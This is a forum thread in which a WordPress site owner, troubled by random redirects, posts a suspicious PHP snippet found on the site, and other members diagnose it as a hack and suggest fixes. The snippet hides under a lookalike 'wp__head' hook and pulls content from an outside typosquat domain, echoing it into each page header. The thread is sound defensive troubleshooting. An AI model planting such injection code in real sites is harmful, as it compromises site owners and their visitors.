| | #1 |
| Active Warrior Join Date: 2012
Posts: 49
Thanks: 13
Thanked 3 Times in 3 Posts
|
Hello My site is redirecting at random times to a parked domain. After doing some reseach I found out that this code might be doing it: Code: function wp__head() {
if(function_exists('curl_init'))
{
$url = "http://www.jqury.net/?1";
$ch = curl_init();
$timeout = 10;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head', 'wp__head'); Can some one tell me what this code does and if this the root of the problem. Thank you |
| |
| | #2 |
| Active Warrior Join Date: 2012
Posts: 50
Thanks: 4
Thanked 9 Times in 9 Posts
|
That is for sure something you don't want to have. So remove that code instantly. It looks that it is safe to remove because function wp__head() is added by WP hook. When you visit URL www . jqury . net/?1 than in HTML source you will see set of html links. That links are injected into your HTML header. But it not have any code to redirect to that domains so you need to keep loking for other bad code if removing will not help as I am afraid. Good luck. Tom |
| |
| The Following User Says Thank You to RenardNET For This Useful Post: |
| | #3 |
| Active Warrior Join Date: 2012
Posts: 50
Thanks: 4
Thanked 9 Times in 9 Posts
|
Ohh, and tell us in what WP theme or plugin you found this code so people will know what to avoid. ![]() Tom |
| |
| The Following User Says Thank You to RenardNET For This Useful Post: |
| | #4 |
| Warrior Member Registered Member Join Date: 2013
Posts: 10
Thanks: 0
Thanked 2 Times in 2 Posts
|
If you have access to your own server and can view PHP and webserver logs, look at which files are using cURL and sending requests. It should be pretty simple to find the files that you need.
|
| |
| | #5 |
| Svetoslav Marinov (SLAVI) Join Date: 2011
Posts: 211
Thanks: 20
Thanked 27 Times in 26 Posts
|
I'd export my site/blog's contents and reinstall it from scratch. Was your WordPress up-to-date? Did you use some cracked/hacked premium plugins? This script basically attaches itself to something called hook in WordPress terms which is basically an event. So when wordpress is about to output the page header it will actually output the contents coming from the mentioned site. |
|
Are you using WordPress? Have you tried qSandbox yet?
| |
| |
| | #6 |
| Graphics, PHP, .Net, Html War Room Member Join Date: 2011 Location: New York, NY
Posts: 2,176
Thanks: 199
Thanked 170 Times in 132 Posts
|
Yes your being hacked..did you get it sorted out? give me a call ill fix it up..
|
| WebDevelopmentGroup NYC & CA- Small Business Web Development, App Development, WordPress Development, Graphic Designs, Online Marketing, Local Marketing & more!. "Call us 1.800.219.1314 or message us!". Visit us today! "Now On Live Chat Mon-Fri.". www.WebDevelopmentGroup.org (Whitelable our Services) =================================== ==> #1 OFFLINE MARKETING FORUM ON THE WEB! <== www.OFFLINEMARKETINGFORUM.com (Register Now) | |
| |
| | #7 |
| ɹoıɹɹɐʍ ǝʌıʇɔɐɹǝdʎɥ War Room Member Join Date: 2008 Location: Texas
Posts: 2,138
Thanks: 243
Thanked 453 Times in 382 Posts
Blog Entries: 3 |
It's a hack apparently designed to appear normal, perhaps part of something more complex than what appears. It's adding a new function that is similar to a stock "wp_head" "wp__head" is new. I would suggest installing Wordfence plugin and having it scan your site. It's scan does the following (and more)
You have to edit the options after installation, as the default scan doesn't check a couple of vital items. It will also protect your site from other bad things. |
|
Robin | |
| |
|
| Bookmarks |
| Tags |
| confirm, hacked, site |
| |